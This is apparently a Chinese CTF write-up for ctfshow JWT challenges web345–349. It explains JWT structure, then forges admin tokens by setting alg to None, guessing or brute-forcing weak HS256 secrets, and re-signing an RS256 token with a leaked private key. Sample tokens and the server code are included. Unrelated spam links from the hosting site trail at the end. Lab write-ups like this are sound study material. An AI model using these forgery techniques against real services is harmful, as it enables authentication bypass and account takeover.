当前位置: 首页 > news >正文

腾博会的网站是什么/百度关键词seo推广

腾博会的网站是什么,百度关键词seo推广,彩页设计印刷公司,做淘宝店铺有哪些好的网站基础知识 jwt是由三部分构成的,第一部分是头部(header),第二部分是载荷(payload),第三部分为签证(signature) 头部 头部声明了类型和加密方法,如下 {typ:…

基础知识

jwt是由三部分构成的,第一部分是头部(header),第二部分是载荷(payload),第三部分为签证(signature)

头部

头部声明了类型和加密方法,如下

{'typ': 'JWT','alg': 'HS256'
}

然后将头部进行base64加密后去掉=号,构成第一部分

ewogICd0eXAnOiAnSldUJywKICAnYWxnJzogJ0hTMjU2Jwp9

载荷

和头部结构类似,但存放的是数据

签证

jwt的第三部分是一个签证信息,这个签证信息由三部分组成:

header (base64后的)
payload (base64后的)
secret
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后

payload示例

{"sub": "1234567890","name": "John Doe"
}
标准中注册的声明 (建议但不强制使用) 
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

web345

F12发现/admin,访问后抓包发现cookie后跟着jwt的值
image-20211209120828093

auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MzI2MjI1ODksImV4cCI6MTYzMjYyOTc4OSwibmJmIjoxNjMyNjIyNTg5LCJzdWIiOiJ1c2VyIiwianRpIjoiZDNlYjRlZTgyMThjMmNmZTVlMGQxMjM5MjNlNDc0M2EifV0

base64解码后得到

{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1632622589,"exp":1632629789,"nbf":1632622589,"sub":"user","jti":"d3eb4ee8218c2cfe5e0d123923e4743a"}]

将sub的值改为admin后,在进行base64加密

{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1632622589,"exp":1632629789,"nbf":1632622589,"sub":"admin","jti":"d3eb4ee8218c2cfe5e0d123923e4743a"}]

传给auth后得到flag
image-20211209121211889

web346

在/admin抓包后得到jwt值

eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzOTAyNDY4NCwiZXhwIjoxNjM5MDMxODg0LCJuYmYiOjE2MzkwMjQ2ODQsInN1YiI6ImFkbWluIiwianRpIjoiMzU4ZmVhZmI5YjdjZjViZWExYjlmODQyYjVkMWJhNmIifQo=

使用在线工具解密后得到
jwt在线工具
image-20211209130353171
猜测密码是123456修改sub的值(不知道为什么明明密码很简单但是jwtcrack却跑不出来)
image-20211209124629049
传参得到flag
image-20211209122725059

web347

同上密码还是123456

web348

/admin目录抓包得到jwt值

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzOTAyNjQ4NiwiZXhwIjoxNjM5MDMzNjg2LCJuYmYiOjE2MzkwMjY0ODYsInN1YiI6InVzZXIiLCJqdGkiOiJhYjkzNjNkZGM2MDhjODk3NTI0MTMyYTM4NjE3OTk4MCJ9.fkXIROeG08zyykg9u0PnqkJ4VvYv39f3zwkLjXce8FA

用jwtcrack爆破密码,得到密码aaab
image-20211209131111049
修改密码和sub值
image-20211209131137290
传参得到flag
image-20211209131150348

web349

打开源码访问发现public.key和private.key,访问后得到公私钥

router.get('/', function(req, res, next) {res.type('html');var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });res.cookie('auth',token);res.end('where is flag?');});router.post('/',function(req,res,next){var flag="flag_here";res.type('html');var auth = req.cookies.auth;var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public keyjwt.verify(auth, cert, function(err, decoded) {if(decoded.user==='admin'){res.end(flag);}else{res.end('you are not admin');}});
});

抓包得到jwt的值,jwt.io解码后得到RS256加密

{"alg": "RS256","typ": "JWT"
}
{"user": "user","iat": 1609250966
}

将payload中的user改为admin,把私钥和公钥复制进Verify Signature即可得到我们需要的auth的值。传参即可得到flag

http://www.lbrq.cn/news/1470799.html

相关文章:

  • 安徽省建设厅网站人员管理/软文营销怎么做
  • 虎门专业做网站公司/广州市人民政府新闻办公室
  • wordpress背景图案轮流/网站为什么要做seo
  • 深圳系统开发高端网站建设/seo资料站
  • 专业b2c电商网站制作/2023年8月份新冠症状
  • 知名的电子商务网站/网站优化推广
  • 仿阿里百秀网站模板/在线识别图片
  • wordpress 迁移 插件/网络推广优化seo
  • 网站 掌握/友情链接交易
  • 平阴县住房建设委网站/网络推广项目代理
  • 长春网站优化公司/百度推广手机app下载
  • wordpress精美主题/seo是什么意思 为什么要做seo
  • 加强公司内部网站建设/重庆今日头条新闻消息
  • 网站建设与维护就业怎么样/百度广告联盟网站
  • mc做图的网站/宁波网站推广优化公司怎么样
  • 怎么做存储网站/如何快速推广自己的品牌
  • 郑州市网站建设/百度经验发布平台
  • 云服务器可以用来做网站么/seo与sem的区别与联系
  • 外贸网站建设公司教程/百度官网入口链接
  • 贵州省兴义市专做网站公司/慧聪网seo页面优化
  • 淘宝怎么做网站/关于营销的最新的新闻
  • 深圳外贸网站建设制作方法/精准大数据获客系统
  • 长春网站建设工作室/seo竞价
  • 做网站最下面写什么/爱站seo查询
  • 新农村建设 网站/四川旅游seo整站优化站优化
  • 网站如何做的有气质/广州推广系统
  • 网站怎么做访问量统计/深圳推广不动产可视化查询
  • 怎么里ip做网站/成都今天重大新闻事件
  • 建设电子商务网站的预期收益/seo作弊
  • 西宁网站设计/游戏推广渠道
  • Ubuntu-Server-24.04-LTS版本操作系统如何关闭自动更新,并移除不必要的内核
  • WPF TreeView自带自定义滚动条
  • HarmonyOS】鸿蒙应用开发中常用的三方库介绍和使用示例
  • Spring Cloud『学习笔记』
  • C++ 中 NULL 与 nullptr 有什么区别?
  • python | numpy小记(八):理解 NumPy 中的 `np.meshgrid`